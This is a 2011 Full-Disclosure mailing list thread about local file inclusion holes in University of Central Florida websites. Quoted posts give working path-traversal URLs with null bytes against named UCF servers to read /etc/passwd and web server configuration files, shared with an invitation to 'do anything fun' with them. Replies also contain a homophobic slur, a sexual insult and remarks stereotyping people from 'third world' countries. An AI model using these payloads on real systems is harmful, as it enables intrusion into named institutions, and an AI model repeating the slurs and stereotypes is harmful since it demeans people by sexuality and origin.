Re: [Full-disclosure] University of Central Florida Multiple LFI

[Benji <me@xxxxxxxxx>]

>>So fag, what you would have done it for ? Free gay sex with Administrators
from the University ?

silly question, noone else wouldve done it.

On Mon, Feb 21, 2011 at 1:48 PM, Nikhil Mittal
<nikhil_uitrgpv@xxxxxxxxxxx>wrote:

>
> >>Madhur Ahuja and "Hack Talk" are obviously from third world countries
> >>and are only doing this for publicity
>
>
> So fag, what you would have done it for ? Free gay sex with Administrators
> from the University ?
>
> You felt bad if kids from so called "Third World" countries used FD for
> some adventure. Come on get past this "Third World" mentality.
>
> --- On *Sat, 19/2/11, full-disclosure-request@xxxxxxxxxxxxxxxxx <
> full-disclosure-request@xxxxxxxxxxxxxxxxx>* wrote:
>
>
> From: full-disclosure-request@xxxxxxxxxxxxxxxxx <
> full-disclosure-request@xxxxxxxxxxxxxxxxx>
> Subject: Full-Disclosure Digest, Vol 72, Issue 45
> To: full-disclosure@xxxxxxxxxxxxxxxxx
> Date: Saturday, 19 February, 2011, 10:42 PM
>
>
> Message: 12
> Date: Sat, 19 Feb 2011 11:48:22 -0500
> From: Eyeballing Weev 
> <eyeballing.weev@xxxxxxxxx<http://mc/compose?to=eyeballing.weev@xxxxxxxxx>
> >
> Subject: Re: [Full-disclosure] University of Central Florida Multiple
>     LFI
> To: 
> full-disclosure@xxxxxxxxxxxxxxxxx<http://mc/compose?to=full-disclosure@xxxxxxxxxxxxxxxxx>
> Message-ID: 
> <4D5FF456.3000503@xxxxxxxxx<http://mc/compose?to=4D5FF456.3000503@xxxxxxxxx>
> >
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
>
> Madhur Ahuja and "Hack Talk" are obviously from third world countries
> and are only doing this for publicity, much like how Turks and Romanians
> "hack" into websites for defacement purposes. Same concept just applied
> differently.
>
> On 02/19/2011 11:45 AM, Shawn Merdinger wrote:
> > Hi,
> >
> > At the risk of being ridiculed here, I'll point out that UCF does have
> > a Infosec office and a incident response POC.
> >
> > https://publishing.ucf.edu/sites/itr/cst/Pages/IncidentResponse.aspx
> > sirt@xxxxxxxxxxxx <http://mc/compose?to=sirt@xxxxxxxxxxxx>
> >
> > fwiw, security folks in .edus are at the low-end of this industry's
> > pay-scale and it's difficult to find/retain qualified people, not to
> > mention adequate budget for purchasing (even more) crappy security
> > products and almost no budget for professional development like
> > training and conferences.
> >
> > I would expect there are more challenging targets out there, were one
> > inclined...
> >
> > Cheers,
> > --scm
> >
> >
> > On Sat, Feb 19, 2011 at 06:04, Madhur 
> > Ahuja<ahuja.madhur@xxxxxxxxx<http://mc/compose?to=ahuja.madhur@xxxxxxxxx>>
> wrote:
> >>
> http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/passwd%00
> >>
> >> On Sat, Feb 19, 2011 at 11:38 AM, Hack 
> >> Talk<hacktalkblog@xxxxxxxxx<http://mc/compose?to=hacktalkblog@xxxxxxxxx>>
> wrote:
> >>>
> >>> Found these and thought I'd share:
> >>>
> >>> -==================-
> >>>
> >>>
> http://excel.ucf.edu/index.php?p=../../../../../../../../../../../../../../../../../../../../etc/apache2/apache2.conf%00
> >>>
> >>>
> http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00
> >>> -==================-
> >>> Let me know if you do anything fun with 'em
> >>>
> >>> Luis Santana - Security+
> >>> Administrator - http://hacktalk.net
> >>> HackTalk Security - Security From The Underground
> >>>
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/